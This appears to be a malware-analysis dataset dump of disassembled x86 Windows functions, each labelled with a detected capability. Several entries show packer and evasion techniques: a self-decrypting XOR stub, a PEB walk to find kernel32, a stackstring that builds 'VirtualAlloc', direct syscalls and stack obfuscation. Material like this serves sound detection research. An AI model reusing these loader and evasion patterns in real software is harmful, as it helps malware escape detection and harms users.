joyce8/EMBER2024-capa huggingface dataset:
Function at 0x437e6c
Capabilities:
Encode data using xor

Disassembly:
mov cs, esp
mov ch, byte [ecx + 0x61666bb0]
jmp 0x437eac
mov ah, 0x87
xlatb
mov al, byte [0xfebd5894]
pop ecx
jae 0x437ed6
wait
pop ss
add al, 0x75
push ss
leave
mov dword [0xf9c9e5b9], eax
leave
xchg edi, eax
push ecx
mov ecx, 0xc0cb3789
pop ss
bound ecx, qword [eax - 0x5b]
loop 0x437e60
sbb ah, byte [edi - 0x26e30420]
int 0x2e
jnp 0x437e2a
invalid
xor eax, 0xd9331d65
invalid
cmpsd dword [esi], dword es:[edi]
mov dl, 0xd9
xor esi, dword [edx + 0x31f6ec77]
in al, dx
div byte [ecx]

Function at 0x442164
Capabilities:
Encode data using xor

Disassembly:
jno 0x4421aa
add eax, 0x3a55b2a7
and eax, 0x2e4b0c51
mov byte [esi], ah
and ebp, edx
add eax, 0xe393a08d
mov ecx, 0x2eac4349
fistp dword [edi - 0x54f615bb]
fdivr dword [ecx]
and byte [edi], bl
xlatb
inc ebp
clc
into
xor dword [edx - 0x6d7cd18e], 0xfffffff0
xchg ebx, eax
fmul st(4), st(0)
mov edi, 0x2c4920c2
popfd
add edi, esp
or byte [eax - 0x65], 0xa
sar byte [eax], 0x20
stosd dword es:[edi], eax
pushfd
pop edx
mov es, word [eax]
dec esp
imul edx, dword [ebp + 0x748c5ee1], 0xffffffe0
xor dword [edx - 0x7f097764], ebx
cmp byte [edx + esi + 0x1039116d], al
xchg ebp, eax
dec edx
and dword [esi + 0x20dec3e3], ecx
pop edx
add byte [ecx], ah
test al, 0xcf
inc eax
invalid
add byte [ebx + ebp*2 - 0x6b], cl
loope 0x44220e
invalid
in eax, 0xda
push 0xffffffffffffff96
pop ebx
sti
push edx
mov byte [ebx + 0x19d23435], 0xd5
xor al, 0xd2
sbb ebp, edx
sbb bh, al
enter 0xffffffffffffe9bc, 0xffffffffffffffa4
add bh, ah
jns 0x44221c
outsb dx, byte [esi]
outsw dx, word [esi]
mov eax, dword [0xabf5e1b0]
jge 0x442218
std
invalid

Function at 0x44285f
Capabilities:
Encode data using xor

Disassembly:
mov esp, 0x5c6fe5a2
xchg ebp, eax
xchg ebp, eax
xor byte [esi - 0x4b426238], dh
push ebx
test ebx, edi
mov eax, 0xf4991427
and eax, 0x48b00b24
xchg ebp, eax
xlatb
mov dword [0x55fcc63e], eax
and al, 0x87
aam 0x5c
add bh, byte [ebx + 0x3654b311]
std
mov ch, dh
cmp al, 0xc6
jle 0x442865
xchg ebp, eax
cmc
jmp 0x5cdbae37

Function at 0x452dee
Capabilities:
Encode data using xor

Disassembly:
invalid
xchg edx, eax
out dx, eax
invalid
mov byte [ebx - 0xd0633a4], dh
push eax
arpl word [ecx], di
jbe 0x452de3
invalid
jae 0x452da0
fiadd word [esi - 0x5a]
pop esp
loop 0x452d7c
mov al, 0xb
push ss
or edx, dword [esi]
cmp eax, 0xef3cd9e1
mov eax, dword [0xff2c5b58]
mov ecx, 0xe3c20e3b
jl 0x452e3d
adc al, 0x17
xor esi, eax
xchg byte [ebx + 0xc815bba], dh
sbb eax, 0xc815bba
adc al, 0x23
or ebx, esi
pop esp
inc eax
std
pop ebx
nop
je 0x452dbe
test byte [eax - 0x3dcf8de7], bh
xor dl, al
cmp al, 0x29
sti
jns 0x452dec
imul esi, dword [ebx + 0x5aea42ec], 0xcc911bd7
invalid
mov al, byte [0x645afe99]
mov esp, 0xb07ad160
jae 0x452e19
fcmovu st(0), st(7)
xor eax, dword [edx - 0x76]
fsetpm
or ebx, edi
jge 0x452e05
push eax
out dx, al
cmp al, byte [ebx - 7]
and ebp, dword [ecx - 0x2f8c524d]
hlt
Function at 0x459b8d
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x2de9ccac
bound edi, qword [ecx]
push ebx
rcl dword [ecx + ecx - 0x26c697c0]
cmp byte [eax], 0x36
invalid
out 0xbd, al
pop edi
mul byte [edi + 0x2f]
mov ah, 0x80
mov edi, dword [edi]
aas
aas
aas
sbb ecx, dword [0x433bf01b]
shl bl, 1
push ecx
inc ebp
stosd dword es:[edi], eax
xor edx, dword [ecx + edi + 0x13]
mov cl, 0xbf
inc ebp
mov ebx, 0xb8d0198d
mov byte [0xe53e3b8d], al
push ebx
jae 0x459b84
das
in al, 9
enter 0xffffffffffffb0f5, 0xffffffffffffffc1
pop esi
add dword [esi + ebp*4 - 0x47], ecx
dec ebx
pop es
push esi
loope 0x459bcd
sti
invalid
and ch, byte [eax - 0x48907357]
push ecx
test dword [ebp - 0x6a], esp
xchg esi, eax
std
jbe 0x459b6f
pop edi
jns 0x459c39
sub byte [ecx], dl
cwde
jmp 0x459bee
aaa
in eax, 0x36
pop eax
call 0xba0fc431
mov ch, 0x13
add ah, byte [esi - 0x3e]
dec eax
adc edx, edi
cld
xor al, 0xe1
into
into
mov ebp, 0x3e99c074
or eax, 0xf8a44d5
salc
in al, dx
jl 0x459bd6
lodsb al, byte [esi]
loopne 0x459bee
mov dword [ebp - 0x60dd9628], ebx
mov ebp, 0x77f604ce
xchg edx, eax
lodsd eax, dword [esi]
cmp dword [ebx + 0x70d6cb5d], ecx
or al, 0x58
pop eax
sub bl, byte [ecx - 0x4b]
retf
jb 0x459c7c
int3
mov dl, 0x84
xchg ebx, eax
and dword [eax + 0x4e], esi
inc ebx
arpl word [edx + 0xd], di
ljmp 0x801
inc eax
das
fdivr dword [ebx - 0x4118b537]
dec esp
jle 0x459cad
invalid
adc al, 0x68
push eax
insb byte es:[edi], dx
mov ah, 0xd
dec eax
sub eax, 0x5388bc9a
adc dword [edi - 0x371fba5a], edx
pop es
push edx
lds eax, [edi + 0x23]
xor ah, byte [eax + ebp*2 - 1]
sub al, 0xfc
mov ah, 0x12
jo 0x459c68
push ds
xchg ecx, eax
mov cl, 0x1e
push 0xd40b73e5
aas
or cl, byte [esi + 0x64]
inc edx
test eax, 0x35d3dd7a
ret 0x6ab0

Function at 0x4ba270
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ac
push ebx
push esi
push edi
lea eax, [ebp - 0x198]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov dword [ebp - 0x1a8], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x1ac], eax
lea ecx, [ebp - 0x19c]
push ecx
push 0x2000000
mov edx, dword [ebp - 0x1ac]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4ba314
push 4
lea eax, [ebp - 0x1a8]
push eax
push 0x18
mov ecx, dword [ebp - 0x19c]
push ecx
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4ba307
mov edx, dword [ebp - 0x19c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x1ac], 0
je 0x4ba305
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jmp 0x4ba314
mov eax, dword [ebp - 0x19c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x5b3d64
Function at 0x4bb2f6
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c3310
cmp edx, dword [eax]
je 0x4bb318
add eax, 8
inc ecx
cmp eax, 0x4c33a0
jl 0x4bb309
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c3310]
jne 0x4bb446
mov eax, dword [0x4c79b4]
cmp eax, 1
je 0x4bb420
test eax, eax
jne 0x4bb349
cmp dword [0x4c3250], 1
je 0x4bb420
cmp edx, 0xfc
je 0x4bb446
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bb380
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004bba10
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bbc40
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bb3c3
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bbc40
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4bfb00
push edi
call fcn.004bd410
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004bba10
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bba20
lea eax, [ebp - 0xa0]
push 0x4bfae0
push eax
call fcn.004bba20
push dword [esi + 0x4c3314]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bba20
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004bd384
add esp, 0x2c
pop edi
jmp 0x4bb446
lea eax, [ebp + 8]
lea esi, [esi + 0x4c3314]
push 0
push eax
push dword [esi]
call fcn.004bbc40
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x579ffb
Capabilities:
Parse pe header

Disassembly:
mov eax, esi
pop esi
pop ebp
ret
push edi
sub esp, 4
mov dword [esp], esp
add dword [esp], 4
pop edi
add edi, 4
push ecx
mov ecx, 4
sub edi, ecx
pop ecx
xchg dword [esp], edi
pop esp
mov dword [esp], esi
jmp fcn.004e9c3d
mov dword [0x4c6880], eax
jmp 0x516780
cmp word [eax], 0x4550
jmp 0x521d2f
je 0x418126
jmp 0x521d3a
add esi, 0x1000
jmp 0x532816
cmp esi, 0x7d000000
jmp 0x532821
jb 0x51323e
jmp loc.0041810f
add ebp, 4
push edx
mov edx, 4
sub ebp, 0x32bbb163
mov ebx, 0x81d50132
lds esp, [ebx - 0x4f]
mov ebx, 0x2c875a32
and al, 0x5c
add eax, 0x7e5b59b5
add eax, esi
sub esp, 4
mov dword [esp], esi
mov esi, 0x6ebe53ae
dec esi
push edx
mov edx, 1
add esi, edx
pop edx
shl esi, 4
shr esi, 6
add esi, 0x7aabc4ca
sub eax, esi
pop esi
jmp 0x516776
Function at 0x57a00b
Capabilities:
Parse pe header

Disassembly:
mov eax, esi
pop esi
pop ebp
ret
push edi
sub esp, 4
mov dword [esp], esp
add dword [esp], 4
pop edi
add edi, 4
push ecx
mov ecx, 4
sub edi, ecx
pop ecx
xchg dword [esp], edi
pop esp
mov dword [esp], esi
jmp fcn.004e9c3d
mov dword [0x4c6880], eax
jmp 0x516780
cmp word [eax], 0x4550
jmp 0x521d2f
je 0x418126
jmp 0x521d3a
add esi, 0x1000
jmp 0x532816
cmp esi, 0x7d000000
jmp 0x532821
jb 0x51323e
jmp loc.0041810f
add ebp, 4
push edx
mov edx, 4
sub ebp, 0x32bbb163
mov ebx, 0x81d50132
lds esp, [ebx - 0x4f]
mov ebx, 0x2c875a32
and al, 0x5c
add eax, 0x7e5b59b5
add eax, esi
sub esp, 4
mov dword [esp], esi
mov esi, 0x6ebe53ae
dec esi
push edx
mov edx, 1
add esi, edx
pop edx
shl esi, 4
shr esi, 6
add esi, 0x7aabc4ca
sub eax, esi
pop esi
jmp 0x516776
Function at 0x5d7158
Capabilities:
Encode data using xor

Disassembly:
push dword [esp]
mov eax, dword [esp]
add esp, 4
push eax
mov eax, esp
add eax, 4
add eax, 4
push eax
push dword [esp + 4]
pop eax
pop dword [esp]
pop esp
jmp 0x5865f3
add ecx, 0x1ffdac8b
add ecx, 0x3eee4d44
add ecx, eax
sub ecx, 0x3eee4d44
push 0x6c13672b
mov dword [esp], ebp
mov ebp, 0x6ffd4e58
and ebp, 0x76fe653a
neg ebp
sub ebp, 0x7bdc440f
sub ebp, 0xfd29cb4e
sub ecx, ebp
mov ebp, dword [esp]
add esp, 4
jmp 0x59dfae
push dword [esp]
pop ecx
push edi
mov edi, esp
push ebx
mov ebx, 4
add edi, ebx
pop ebx
add edi, 4
xchg dword [esp], edi
mov esp, dword [esp]
jmp 0x50ef3b
push dword [esp]
pop esi
push esi
push esp
pop esi
add esi, 4
add esi, 4
xchg dword [esp], esi
mov esp, dword [esp]
jmp 0x5cfcef
mov dword [esp + 0x18], ecx
jmp 0x5dd7f2
mov edx, dword [esp]
push esi
mov esi, esp
push edi
mov dword [esp], 0x56a404bc
mov dword [esp], edx
mov edx, 4
add esi, edx
pop edx
add esi, 4
xchg dword [esp], esi
pop esp
jmp 0x5202f9
push dword [esp]
mov ebp, dword [esp]
add esp, 4
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg dword [esp], edx
mov esp, dword [esp]
jmp 0x5d176e
ret
cld
cld
push ebp
dec ecx
pushal
sub cl, byte [edi + 0x458582b9]
adc eax, 0x3025c2f2
aad 0x96
sbb eax, 0xa7b7d49e
cwde
add dword ds:[ebx - 0x35d38dce], eax
xor dword [edx], 0x72
sub al, 0xca
sub dword [eax + 0x24], 0x70
jb 0x5d716d
jo 0x5d7160
inc eax
adc dword [ebx - 0xd412a9d], edx
stc
syscall
movsb byte es:[edi], byte [esi]
push ebp
idiv byte [edx - 0x32]
jno 0x5d71ff
jns 0x5d7145
sub byte [ecx], ah
fadd qword [0x117ffb1f]
hlt
sub al, 0
and eax, 0xfcdd159c
bound ebx, qword [eax + 0x2ef47753]
cmovae ebp, dword [ebp + ebx*8 - 0x70]
pushfd
adc eax, 0x9862fcdd
push ebx
ja 0x5d71ca
cmovae ebp, dword cs:[ebp + ebx*8 - 0x70]
nop
scasb al, byte es:[edi]
mov ch, 0xd0
xchg edx, eax
xchg esi, eax
push esi
xchg edx, eax
cmp esi, dword [ebp - 0x7f]
xchg byte [eax - 0x7f99bba8], cl
jmp 0x5d71cd
adc byte [ebp + 0x6423bf6f], 0x96
pop ecx
or al, byte [edx + 0x3bddcf9c]
pop edi
scasb al, byte es:[edi]
inc ecx
add dword [ecx + 0x26], edx
lodsb al, byte [esi]
pop eax
jecxz 0x5d722e
and ah, 0x7f
jle 0x5d7255
sub dword [edi + 0x76ae6f87], eax
jbe 0x5d71db
cmp al, 0x9e
mov byte [0xb1a10b74], al
mov bh, 0x8b
or al, 0x24
and al, 0x53
pop ss
add bh, bh
xor al, 0x24
pop ecx
sub esp, 4
mov dword [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg dword [esp], ebp
pop esp
jmp 0x516c8a
mov ebx, dword [esp]
push edx
mov edx, esp
push edi
mov edi, 0x577f6164
add edi, 0xa8809ea0
add edx, edi
pop edi
add edx, 4
xor edx, dword [esp]
xor dword [esp], edx
xor edx, dword [esp]
mov esp, dword [esp]
jmp 0x5b887f
Function at 0x5ee24d
Capabilities:
Encode data using xor

Disassembly:
leave
das
lcall 0xb793, 0x6d3f2fda
sub dword [ecx + 0x4a], ecx
jae 0x5ee2d0
stc
fild dword [edi + 0x3e6fa9d9]
mov dh, 0xd5
insd dword es:[edi], dx
aas
mov esp, 0xdcf0733e
std
mov ecx, dword [edi]
push eax
xor ah, byte cs:[edi + 0x70]
fidivr dword [esi + 0x1dd4974b]
lodsb al, byte [esi]
invalid
pop esi
mov dword [0x2ed63c46], eax
movsd dword es:[edi], dword [esi]
cmp al, 0xd6
movsd dword es:[edi], dword cs:[esi]
in al, 0x4c
jge 0x5ee336
pop ebx
xor bh, byte [0xa60bdcaa]
cmp al, byte [esi - 0x23]
loop 0x5ee2cd
sbb dl, byte [0x3c426e17]
invalid
dec esp
shr dword [eax], cl
mov dword ds:[0xeb41a90e], eax
cwde
inc ecx
sbb eax, eax
iretd
Function at 0x412565
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004123e4

Function at 0x41695c
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004162ca

Function at 0x416967
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00416505

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401106
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x432004]
jne 0x401110
repz ret
jmp fcn.004014b0

Function at 0x4041ab
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x432004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004029d8
and dword [ebp - 0x14], 0
cmp dword [0x4349d0], 0
mov dword [ebp - 0x18], eax
jne 0x40425e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x404306
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x404306
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4349d0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4349d4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4349d8], eax
call edi
push eax
call esi
mov dword [0x4349e0], eax
test eax, eax
je 0x40425e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4349dc], eax
mov eax, dword [0x4349dc]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4042b7
cmp dword [0x4349e0], ecx
je 0x4042b7
push eax
call esi
push dword [0x4349e0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4042b7
test ebx, ebx
je 0x4042b7
call edi
test eax, eax
je 0x4042ae
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4042ae
test byte [ebp - 8], 1
jne 0x4042b7
or dword [ebp + 0x10], 0x200000
jmp 0x4042ea
mov eax, dword [0x4349d4]
cmp eax, dword [ebp - 0x18]
je 0x4042ea
push eax
call esi
test eax, eax
je 0x4042ea
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4042ea
mov eax, dword [0x4349d8]
cmp eax, dword [ebp - 0x18]
je 0x4042ea
push eax
call esi
test eax, eax
je 0x4042ea
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4349d0]
call esi
test eax, eax
je 0x404306
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x404308
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401106
leave
ret
Function at 0x4210d0
Capabilities:
Create pipe

Disassembly:
mov eax, dword [0x432b20]
sub esp, 0x14
push ebx
mov ebx, dword [0x2bd7f9c]
push edi
mov edi, dword [0x2bda41c]
call fcn.00421050
cmp dword [0x2bda41c], 0x2f
jne 0x421132
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x14]
push ecx
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
call fcn.00421080
pop edi
pop ebx
add esp, 0x14
ret
Function at 0x421420
Capabilities:
Get disk information
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x820
mov eax, dword [0x432004]
xor eax, ebp
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], 0
jmp 0x421445
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x1519a5
jge 0x42148e
mov dword [0x2bda084], 0x8e46a6f0
cmp dword [0x2bda41c], 0x3dc
jne 0x42148c
xor ecx, ecx
mov word [ebp - 8], cx
xor edx, edx
mov word [ebp - 6], dx
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
jmp 0x42143c
mov dword [ebp - 0x10], 0
jmp 0x4214a0
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0x12cad2a
jge 0x421533
cmp dword [0x2bda41c], 0xa5f
jne 0x4214ea
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x14]
push eax
push 0
lea ecx, [ebp - 0x820]
push ecx
push str.dojiyizemukejuwoxovadanol
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
cmp dword [ebp - 0x10], 0x84620b
jne 0x42150e
mov edx, dword [0x433940]
mov dword [0x2bda41c], edx
mov eax, dword [0x2bda41c]
add eax, 0xa231
mov dword [0x2bda41c], eax
cmp dword [0x2bda41c], 0x141
jne 0x42152e
mov dword [0x434f08], 0xec58acac
mov dword [0x434f0c], 0xffffffff
jmp 0x421497
call fcn.00421140
jmp dword [0x2bd7f9c]
Function at 0x40f0ae
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
sub esp, 0xc
push ebp
push edi
mov edi, dword [esp + 0x18]
test edi, edi
je 0x40f0d1
mov ebp, dword [esp + 0x1c]
test ebp, ebp
je 0x40f0d1
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x40f0db
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x20], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], edx
mov dword [esp + 0x20], ebx
cmp ecx, ebx
ja 0x40f11d
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x40f17f
mov ecx, ebx
lea ebx, [ebx]
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x40f17a
mov eax, dword [esp + 0x24]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x40f165
test dl, dl
je 0x40f161
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x40f165
add ecx, 2
add eax, 2
test dl, dl
jne 0x40f145
xor eax, eax
jmp 0x40f16a
sbb eax, eax
or eax, 1
test eax, eax
je 0x40f18b
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x20]
inc esi
cmp esi, eax
jb 0x40f132
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0xc
ret 8
mov eax, dword [esp + 0x18]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0xc
ret 8

Function at 0x40f228
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 8], 0
jge 0x40f24a
mov eax, 0xfffffffd
jmp 0x40f31c
cmp dword [0x62ea78], 0
je 0x40f2f5
cmp dword [0x62ea7c], 5
jl 0x40f278
cmp dword [0x62ea7c], 7
jg 0x40f278
mov eax, 1
jmp 0x40f27d
mov eax, 0
test eax, eax
jne 0x40f296
cmp dword [0x62ea7c], 0xfffffffb
je 0x40f296
xor eax, eax
jmp 0x40f29b
mov eax, 1
test eax, eax
je 0x40f2c7
mov eax, dword [ebp]
add eax, 0x80
mov ecx, 0x20
push dword [eax]
sub eax, 4
loop 0x40f2b0
mov eax, dword [ebp + 8]
call dword fs:[0xc0]
nop
nop
leave
ret 4
mov eax, dword [ebp + 8]
mov ecx, eax
and eax, 0xffff
shr ecx, 0x10
and ecx, 0xffff
mov edx, dword [ebp]
lea edx, [edx + 8]
call dword fs:[0xc0]
nop
nop
nop
nop
nop
leave
ret 4
cmp dword [0x62ea78], 0
jne 0x40f312
mov eax, dword [ebp + 8]
mov edx, dword [ebp]
lea edx, [edx + 8]
int 0x2e
nop
leave
ret 4
mov eax, 0
jmp 0x40f31c
mov esp, ebp
pop ebp
ret 4
Function at 0x41e8c9
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov eax, 0x6b
mov word [ebp - 0x24], ax
mov ecx, 0x65
mov word [ebp - 0x22], cx
mov edx, 0x72
mov word [ebp - 0x20], dx
mov eax, 0x6e
mov word [ebp - 0x1e], ax
mov ecx, 0x65
mov word [ebp - 0x1c], cx
mov edx, 0x6c
mov word [ebp - 0x1a], dx
mov eax, 0x33
mov word [ebp - 0x18], ax
mov ecx, 0x32
mov word [ebp - 0x16], cx
mov edx, 0x2e
mov word [ebp - 0x14], dx
mov eax, 0x64
mov word [ebp - 0x12], ax
mov ecx, 0x6c
mov word [ebp - 0x10], cx
mov edx, 0x6c
mov word [ebp - 0xe], dx
xor eax, eax
mov word [ebp - 0xc], ax
mov dword [ebp - 4], 0
mov ebx, dword fs:[0x30]
mov ebx, dword [ebx + 0xc]
mov ebx, dword [ebx + 0x14]
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x41e97d
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.0041e859
add esp, 8
cmp eax, 0
mov eax, dword [ebx + 0x10]
mov ebx, dword [ebx]
jne 0x41e956
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41e989
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x14
push ebp
push edi
mov edi, ecx
mov ebp, edx
test edi, edi
je 0x41e9a4
test ebp, ebp
je 0x41e9a4
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jne 0x41e9ac
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + edi + 0x78]
add eax, edi
push ebx
mov ecx, dword [eax + 0x20]
mov edx, dword [eax + 0x24]
mov ebx, dword [eax + 0x14]
add ecx, edi
mov dword [esp + 0x10], ecx
push esi
mov esi, dword [eax + 0x1c]
mov ecx, ebp
sub ecx, dword [eax + 0x10]
add esi, edi
add edx, edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], edx
mov dword [esp + 0x10], ebx
cmp ecx, ebx
ja 0x41e9ec
mov eax, dword [esi + ecx*4]
pop esi
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
mov eax, dword [eax + 0x18]
xor esi, esi
mov dword [esp + 0x18], eax
test eax, eax
je 0x41ea48
mov ecx, ebx
movzx ebx, word [edx + esi*2]
cmp ebx, ecx
ja 0x41ea43
mov eax, dword [esp + 0x14]
mov ecx, ebp
mov eax, dword [eax + esi*4]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x41ea2e
test dl, dl
je 0x41ea2a
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x41ea2e
add ecx, 2
add eax, 2
test dl, dl
jne 0x41ea0e
xor eax, eax
jmp 0x41ea33
sbb eax, eax
or eax, 1
test eax, eax
je 0x41ea52
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
inc esi
cmp esi, eax
jb 0x41e9fb
pop esi
pop ebx
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
mov eax, dword [esp + 0x20]
pop esi
mov eax, dword [eax + ebx*4]
pop ebx
add eax, edi
pop edi
pop ebp
add esp, 0x14
ret
Function at 0x41ea69
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
push ebx
push edi
mov edi, edx
mov ebx, ecx
call fcn.0041e8c9
test eax, eax
jne 0x41ea81
pop edi
pop ebx
add esp, 0x10
ret
push esi
lea edx, [esp + 0xc]
mov ecx, eax
mov dword [esp + 0xc], 0x74726956
mov dword [esp + 0x10], 0x416c6175
mov dword [esp + 0x14], 0x636f6c6c
mov byte [esp + 0x18], 0
call fcn.0041e989
mov esi, eax
test esi, esi
jne 0x41eab7
pop esi
pop edi
pop ebx
add esp, 0x10
ret
push 0x40
